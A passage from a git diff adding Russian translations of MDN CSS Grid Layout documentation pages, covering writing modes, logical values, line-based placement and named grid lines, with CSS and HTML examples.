+<p>В следующем примере я использую выравнивание для выравнивания элементов внутри сетки, которая настроена на <code>writing-mode: vertical-lr</code>. <code>start</code> и <code>end</code> свойства работают точно так же, как в режиме записи по умолчанию, и остаются логичными в том смысле, что использование левого и правого, верхнего и нижнего уровней для выравнивания элементов не будет выполнено. Это происходит, когда мы перевернули сетку сбоку, например:</p>
+
+<div id="writing_4">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-gap: 10px;
+}
+
+.item1 {
+    grid-column: 1 / 4;
+    align-self: start;
+}
+
+.item2 {
+    grid-column: 1 / 3;
+    grid-row: 2 / 4;
+    align-self: start;
+}
+
+.item3 {
+    grid-column: 3;
+    grid-row: 2 / 4;
+    align-self: end;
+    justify-self: end;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('writing_4', '500', '330') }}</p>
+</div>
+
+<p>Если вы хотите посмотреть, как они работают, как справа, так и сверху вниз, переключите <code>vertical-lr</code> на <code>vertical-rl,</code> который является вертикальным режимом записи, работающим справа налево.</p>
+
+<h2 id="Auto-placement_and_Writing_Modes">Auto-placement and Writing Modes</h2>
+
+<p>В примере, который уже показан, вы можете видеть, как режим записи меняет направление, в котором элементы помещаются в сетку. Элементы по умолчанию помещают себя вдоль оси Inline, а затем переходят в новую строку. Однако эта линейная ось может не всегда выполняться слева направо.</p>
+
+<h2 id="Линейное_размещение_и_режимы_записи">Линейное размещение и режимы записи</h2>
+
+<p>Главное, что следует помнить при размещении элементов по номеру строки, является то, что строка 1 является стартовой линией, независимо от того, в каком режиме записи вы находитесь. Строка -1 - это конечная строка, независимо от того, в каком режиме записи вы находитесь.</p>
+
+<p>В следующем примере у меня есть сетка, которая находится в направлении по умолчанию <code>ltr</code>. Я разместил три элемента, используя линейное размещение.</p>
+
+<ul>
+ <li>Item 1 starts at column line 1, охватывающей один трек.</li>
+ <li>Item 2 starts at column line -1, охватывая -3.</li>
+ <li>Item 3 starts at column line 1, охватывая строку столбца 3.</li>
+</ul>
+
+<div id="writing_5">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+    grid-column: 1 ;
+}
+.item2 {
+    grid-column: -1 / -3;
+}
+.item3 {
+    grid-column: 1 / 3;
+    grid-row: 2;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+        &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+        &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+        &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+    &lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('writing_5', '500', '330') }}</p>
+</div>
+
+<p>Если теперь добавить свойство {{cssxref ("direction")}} со значением <code>rtl</code> в контейнер сетки, строка 1 станет правой частью сетки, а строка -1 - слева.</p>
+
+<div id="writing_6">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  direction: rtl;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+    grid-column: 1 ;
+}
+.item2 {
+    grid-column: -1 / -3;
+}
+.item3 {
+    grid-column: 1 / 3;
+    grid-row: 2;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+        &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+        &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+        &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+    &lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('writing_6', '500', '330') }}</p>
+</div>
+
+<p>То, что это демонстрирует, заключается в том, что если вы переключаете направление текста на целые страницы или на части страниц и используете строки: вы можете назвать свои строки, если вы не хотите, чтобы макет полностью переключал направление , для некоторых вещей, например, когда сетка содержит текстовое содержимое, это переключение может быть именно тем, что вы хотите. Для других целей это не так.</p>
+
+<h3 id="Странный_порядок_значений_в_свойстве_grid-area">Странный порядок значений в свойстве grid-area</h3>
+
+<p>Вы можете использовать свойство {{cssxref ("grid-area")}}, чтобы указать все четыре строки области сетки как одно значение. Когда люди впервые сталкиваются с этим, они часто удивляются тому, что значения не следуют тому же порядку, что и сокращенное поле, которое работает по часовой стрелке: сверху, справа, внизу, слева.</p>
+
+<p>Порядок значений <code>grid-area</code>:</p>
+
+<ul>
+ <li><code>grid-row-start</code></li>
+ <li><code>grid-column-start</code></li>
+ <li><code>grid-row-end</code></li>
+ <li><code>grid-column-end</code></li>
+</ul>
+
+<p>Что для английского языка, слева направо означает, что заказ:</p>
+
+<ul>
+ <li><code>top</code></li>
+ <li><code>left</code></li>
+ <li><code>bottom</code></li>
+ <li><code>right</code></li>
+</ul>
+
+<p>Это против часовой стрелки! Итак, обратное тому, что мы делаем для полей и заполнения. Как только вы поймете, что <code>grid-area</code> видит мир как "block и inline", вы можете помнить, что мы устанавливаем два запуска, а затем два конца. Когда вы знаете, это становится намного логичнее!</p>
+
+<h2 id="Смешанные_режимы_записи_и_макет_сетки">Смешанные режимы записи и макет сетки</h2>
+
+<p>В дополнение к отображению документов, используя правильный режим записи для языка, режимы записи могут быть использованы творчески в документах, которые в противном случае будут <code>ltr</code>. В следующем примере у меня есть макет сетки с набором ссылок вниз с одной стороны. Я использовал режимы записи, чтобы включить их на стороне в треке столбца:</p>
+
+<div id="writing_7">
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-gap: 20px;
+    grid-template-columns: 1fr auto;
+    font: 1em Helvetica, Arial, sans-serif;
+}
+.wrapper nav {
+    writing-mode: vertical-lr;
+}
+.wrapper ul {
+    list-style: none;
+    margin: 0;
+    padding: 1em;
+    display: flex;
+    justify-content: space-between;
+}
+.wrapper a {
+    text-decoration: none;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+        &lt;div class="content"&gt;
+            &lt;p&gt;Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.&lt;/p&gt;
+
+&lt;p&gt;Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.&lt;/p&gt;
+        &lt;/div&gt;
+        &lt;nav&gt;
+            &lt;ul&gt;
+                &lt;li&gt;&lt;a href=""&gt;Link 1&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Link 2&lt;/a&gt;&lt;/li&gt;
+                &lt;li&gt;&lt;a href=""&gt;Link 3&lt;/a&gt;&lt;/li&gt;
+            &lt;/ul&gt;
+        &lt;/nav&gt;
+    &lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('writing_7', '500', '330') }}</p>
+</div>
+
+<h2 id="Физические_значения_и_grid_layout">Физические значения и grid layout</h2>
+
+<p>Мы часто сталкиваемся с физическими свойствами при создании веб-сайтов и в то время как свойства и значения размещения и выравнивания сетки соответствуют режимам записи, есть вещи, которые вы можете сделать с Grid, которые заставляют вас использовать физические свойства и значения. В руководстве по <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">выравниванию ячеек и сеткам</a> я продемонстрировал, как автоматические поля работают в области сетки. Использование автоматической маржи, чтобы оттолкнуть один элемент от других, является общим трюком flexbox, однако это также связывает макет с физическим пространством.</p>
+
+<p>Если вы используете абсолютное позиционирование в области сетки, то вы снова будете использовать физические смещения, чтобы нажимать элемент вокруг области сетки. Главное, что нужно знать, - это напряжение между физическими и логическими свойствами и ценностями. Например, имейте в виду, что вам может потребоваться внести изменения в ваш CSS, чтобы справиться с переходом от <code>ltr</code> до <code>rtl</code>.</p>
+
+<h3 id="Логические_свойства_для_всего!">Логические свойства для всего!</h3>
+
+<p>Наши новые методы компоновки дают нам возможность использовать эти логические значения для размещения элементов, однако, как только мы начнем объединять их с физическими свойствами, используемыми для полей и отступов, нам нужно помнить, что эти физические свойства не изменятся в соответствии с режимом записи.</p>
+
+<p><a href="https://drafts.csswg.org/css-logical/">Спецификация логических свойств CSS</a> имеет целью изменить это и в будущем мы сможем использовать <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Logical_Properties">логические эквиваленты</a> для свойств, такие как {{cssxref ("margin-left")}} и {{cssxref ("margin-right") }}, в нашем CSS. Firefox уже реализовал их, поэтому вы можете попробовать их прямо сейчас в Firefox. Я знаю в будущем, как только эти корабли повсюду, ваши знания «Блокировать и встроить» с помощью Grid означают, что вы точно знаете, как их использовать.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/index.html
new file mode 100644
index 0000000000..d02227c33f
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/index.html
@@ -0,0 +1,234 @@
+---
+title: CSS Grid Layout
+slug: Web/CSS/CSS_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout
+---
+<p><strong>CSS Grid layout</strong> отлично подходит для того, чтобы разделить страницу на основные области или определить взаимосвязь размера, позиционирования и уровня между частями контента, состоящего из HTML примитивов.</p>
+
+<p>Как и таблицы (&lt;table&gt;), grid layout позволяет выравнивать элементы в столбцы и строки. Тем не менее, с помощью CSS grid работать с элементами гораздо проще, чем с таблицами. Например, дочерние элементы grid-контейнера могут наслаиваться друг на друга как  и другие элементы при помощи CSS.</p>
+
+<h2 id="Basic_Example" name="Basic_Example">Базовый пример</h2>
+
+<p>В приведенном ниже примере показана сетка  состоящая из трех колонок, в которой минимальная ширина элементов строки установлена в "100px", а максимальная в "auto". Grid-элементы располагаются в сетке линейно.</p>
+
+<div id="example">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid rgb(233,171,88);
+  border-radius: 5px;
+  background-color: rgba(233,171,88,.5);
+  padding: 1em;
+  color: #d9480f;
+}</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="one"&gt;One&lt;/div&gt;
+  &lt;div class="two"&gt;Two&lt;/div&gt;
+  &lt;div class="three"&gt;Three&lt;/div&gt;
+  &lt;div class="four"&gt;Four&lt;/div&gt;
+  &lt;div class="five"&gt;Five&lt;/div&gt;
+  &lt;div class="six"&gt;Six&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-column: 1;
+  grid-row: 2 / 5;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('example', '500', '440') }}</p>
+</div>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<h3 id="CSS_свойства">CSS свойства</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-area")}}</li>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-column-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_функции">CSS функции</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("repeat", "repeat()")}}</li>
+ <li>{{cssxref("minmax", "minmax()")}}</li>
+ <li>{{cssxref("fit-content", "fit-content()")}}</li>
+</ul>
+</div>
+
+<h3 id="Глоссарий">Глоссарий</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Lines">Grid Lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Tracks">Grid Tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Cell">Grid Cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Areas">Grid Area</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_Column">Grid column</a></li>
+</ul>
+</div>
+
+<h2 id="Руководства">Руководства</h2>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Базовая концепция Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Связь Grid Layout с другими методами компоновки</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">И</a><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">спользование</a><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines"> именованных линий</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Шаблон области сетки</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">И</a><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">спользование</a><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines"> именованных линий</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Авторазмещение в CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Выравнивание блока в CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Сетка, логические Значения и Режимы Редактирования</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout и доступность</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid and progressive enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realising_common_layouts_using_CSS_Grid_">Реализация общих макетов используя CSS Grid</a></li>
+</ul>
+</div>
+
+<h2 id="Внешние_ресурсы">Внешние ресурсы</h2>
+
+<ul>
+ <li><a href="http://labs.jensimmons.com/">Примеры от Jen Simmons</a></li>
+ <li><a href="http://gridbyexample.com/">Grid by Example - Коллекция примеров использования и видео уроки</a></li>
+ <li><a href="https://tympanus.net/codrops/css_reference/grid/">Codrops Grid Reference</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox DevTools CSS Grid Inspector</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Grid') }}</td>
+   <td>{{ Spec2('CSS3 Grid') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
new file mode 100644
index 0000000000..e20cbc76c8
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
@@ -0,0 +1,493 @@
+---
+title: Layout using named grid lines
+slug: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
+translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
+---
+<p>В предыдущих руководствах мы рассматривали размещение элементов по линиям, созданным путем определения треков сетки, а также способы размещения элементов с помощью именованных областей шаблона. В этом руководстве мы рассмотрим, как эти две вещи работают вместе, когда мы используем именование линий. Именование линий очень полезно, но  при комбинировании именований и размеров сетки иногда получаются очень запутанный синтаксис. Представленные примеры помогут внести ясность и упростить понимание синтаксиса.</p>
+
+<h2 id="Именование_линий_при_определении_сетки">Именование линий при определении сетки</h2>
+
+<p>Когда вы определяете свою сетку с помощью свойств <code>grid-template-rows </code>и <code>grid-template-columns</code>, вы можете присвоить имя некоторым или всем линиям в вашей сетке. Для демонстрации я использую простой макет, созданный в руководстве по линейному размещению. На этот раз я создам сетку, используя именованные линии.</p>
+
+<div id="example_named_lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена <code>main-start</code> для начала и <code>main-end</code> для конца контейнера, причем как для строк, так и для столбцов. Затем определил центральный блок сетки как <code>content-start</code> и <code>content-end</code>, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+</pre>
+
+<p>Теперь, когда линии имеют свои имена, мы можем использовать эти мена для размещения элементов.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: main-start;
+  grid-row-start: main-start;
+  grid-row-end: main-end;
+}
+
+.box2 {
+  grid-column-start: content-end;
